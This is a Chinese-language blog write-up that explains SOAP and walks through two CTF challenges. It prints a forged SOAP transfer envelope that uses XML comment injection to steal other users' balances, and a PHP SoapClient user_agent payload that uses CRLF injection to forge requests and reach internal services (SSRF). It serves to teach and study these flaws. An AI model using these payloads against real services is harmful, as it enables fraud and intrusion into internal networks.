内容简介:暑假的时候不学点东西,和咸鱼有什么区别?在看一篇writeup的时候,发现又出现了SOAP
前言
暑假的时候不学点东西,和咸鱼有什么区别?
在看一篇writeup的时候,发现又出现了SOAP
感觉似曾相识,却想不起来,于是温习一波~
SOAP基础知识
SOAP的基本概念
什么是SOAP?这就要从WebService说起了
WebService是一种跨平台,跨语言的规范,用于不同平台,不同语言开发的应用之间的交互。
比如在Windows Server服务器上有个C#.Net开发的应用A,在 Linux 上有个 Java 语言开发的应用B,B应用要调用A应用,或者是互相调用。用于查看对方的业务数据。这个时候,如何解决呢?
WebService就是出于以上类似需求而定义出来的规范:开发人员一般就是在具体平台开发webservice接口,以及调用webservice接口。每种开发语言都有自己的webservice实现框架。
而SOAP作为webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP 可以和现存的许多因特网协议和格式结合使用,包括超文本传输协议(HTTP),简单邮件传输协议(SMTP),多用途网际邮件扩充协议(MIME)。
简单而言,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式
SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。
SOAP的组成
一条 SOAP消息的组成:一个包含有一个必需的 SOAP 的封装包,一个可选的 SOAP 标头和一个必需的 SOAP 体块的 XML 文档。
SOAP消息格式:
<?xml version="1.0"?> <soap:Envelope xmlns:soap="http://www.w3.org/2001/12/soap-envelope" soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding"> <soap:Header> </soap:Header> <soap:Body> <soap:Fault> </soap:Fault> </soap:Body> </soap:Envelope>
其中
Envelope: 标识XML文档,具有名称空间和编码详细信息。
Header:包含标题信息,如内容类型和字符集等。
Body:包含请求和响应信息。
Fault:错误和状态信息。
而关于soap的漏洞,我将用两道ctf的案例进行讲解分析
SOAP漏洞利用之代码注入(一)
题目如下
我们有如下功能
1.Profile:显示我们的当前身份和余额,每人最开始都有110元
2.Menu:主页面
3.Transfer:允许我们输入接收者ID并发送金额
4.VIP:需要1,000,000元才能进入该页面,应该是flag了
5.For Developers:告知我们api正在开发中,无法使用,但是html注释中有api的链接
不难看出,这是突破点,于是打开api链接后api/bankservice.wsdl.php
不难提取如下两个SOAP API:
检查余额
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Bank"> <soapenv:Header/> <soapenv:Body> <urn:requestBalance soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <wallet_num xsi:type="xsd:decimal">wallet_num</wallet_num> </urn:requestBalance> </soapenv:Body> </soapenv:Envelope>
转账交易
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Bank"> <soapenv:Header/> <soapenv:Body> <urn:internalTransfer soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <receiver_wallet_num xsi:type="xsd:decimal">receiver_wallet_num</receiver_wallet_num> <sender_wallet_num xsi:type="xsd:decimal">sender_wallet_num</sender_wallet_num> <amount xsi:type="xsd:float">amount</amount> <token xsi:type="xsd:string">token</token> </urn:internalTransfer> </soapenv:Body> </soapenv:Envelope>
一目了然,对于余额检查,输入一个钱包id即可
而对于转账交易,需要输入接受者、发送者、发送金额、token四个参数
而我们需要理由的点,也肯定是转账交易了
这样就可以将所有用户的初始余额汇总到我们手上,以此得到flag
但是问题来了,我们缺少交易的token,那么如何不需要token,即可让所有人给我们转账呢?
这里就用到了一些注入
经过插入后,代码成为
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Bank"> <soapenv:Header/> <soapenv:Body> <urn:internalTransfer soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <receiver_wallet_num xsi:type="xsd:decimal">我们自己的id</receiver_wallet_num> <sender_wallet_num xsi:type="xsd:decimal">其他人</sender_wallet_num> <!-- </receiver_wallet_num> <sender_wallet_num xsi:type="xsd:decimal">sender_wallet_num</sender_wallet_num> <amount xsi:type="xsd:float"> --> <amount xsi:type="xsd:float">750000</amount> <token xsi:type="xsd:string">token</token> </urn:internalTransfer> </soapenv:Body> </soapenv:Envelope>
通过代码的拼接(有点类似于 sql 注入,但又不是,也是利用语句的拼接与注释),我们即可控制自己想控制的位置,已到达任意转账的目的
最后访问vip页面即可
SOAP漏洞利用之CRLF与SSRF(二)
这就要从 php 的soap说起了,正如之前所说每种开发语言都有自己的webservice实现框架,php也不例外:
PHP 的 SOAP 扩展可以用来提供和使用 Web Services
这个扩展实现了6个类。其中有三个高级的类: SoapClient、SoapServer 和SoapFault,
和三个低级类,它们是 SoapHeader、SoapParam 和 SoapVar。
他们的关系如下:
而我们的重点利用对象当然是soapclient类
而为什么soapclient会有CRLF(carriage return/line feed)注入攻击问题呢?
这又要从soapclient的一个选项说起,我们查阅PHP手册
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
其中的 $options
我们跟进查看
user_agent
可以让我们自定义
User-Agent
为什么要利用 User-Agent
?
Content-Type为
和
Content-Length
既然我们想要进行CRLF注入,那么势必需要控制这两项才可以实现
而 User-Agent
的http header位置正好在这些之上,所以可以进行覆盖
Content-Type
,如果我们想要利用CRLF发送post请求,那么要求它为
application/x-www-form-urlencode
那么此时就可以利用CRLF,构造如下payload(以N1CTF的payload为例)
$payload = new SoapClient(null,array('user_agent'=>"testrnCookie: PHPSESSID=08jl0ttu86a5jgda8cnhjtvq32rnContent-Type: application/x-www-form-urlencodedrnContent-Length:45rnrnusername=admin&password=nu1ladmin&code=470837rnrnrn",'location'=>$location, 'uri'=>$uri));
即可进行CRLF攻击
这样的攻击有什么用?
我们假设我们可以从外网调用到soap的api
而攻击目标是在内网
那么就可以利用soap攻击内网,因为CRLF的原因,可以增加我们的攻击面,包括sql注入,命令执行等等
所以也可以说是SSRF攻击了
其他
和许多漏洞一样,如果实现不同功能的时候,接收到不同的恶意参数,那么也会引起各种各样的攻击
像是实现sql查询的功能,可以引起sql注入问题
实现lookupDNS web服务的功能时,可引起命令注入的问题
后记
soap作为重要的消息通讯连接,如果过滤或者使用不当,很容易引起许多高危攻击
而本人不才,可能有许多点还没注意到,如有更好的观点,还请斧正!
参考链接
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- acme.sh 续期问题(路径问题)
- 缓存的一些问题和一些加密算法【缓存问题】
- 如何把设计问题转化为数学问题(方法论)
- 推荐系统中的冷启动问题和探索利用问题
- GraphQL 教程(六)—— N+1问题和缓存等问题
- Golang 并发问题(四)之单核上的并发问题
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
C++沉思录
Andrew Koenig、Barbara Moo / 黄晓春、孟岩(审校) / 人民邮电出版社 / 2002-11-01 / 50.00元
《C++ 沉思录》集中反映了C++的关键思想和编程技术,不仅告诉你如何编程,还告诉你为什么要这样编程。本书曾出现在众多的C++专家推荐书目中。 这将是C++程序员的必读之作。因为: 它包含了丰富的C++思想和技术,从详细的代码实例总结出程序设计的原则和方法。 不仅教你如何遵循规则,还教你如何思考C++编程。 既包括面向对象编程也包括泛型编程。 探究STL这一近年来C++最重要的新成果的内在思想。一起来看看 《C++沉思录》 这本书的介绍吧!
JS 压缩/解压工具
在线压缩/解压 JS 代码
UNIX 时间戳转换
UNIX 时间戳转换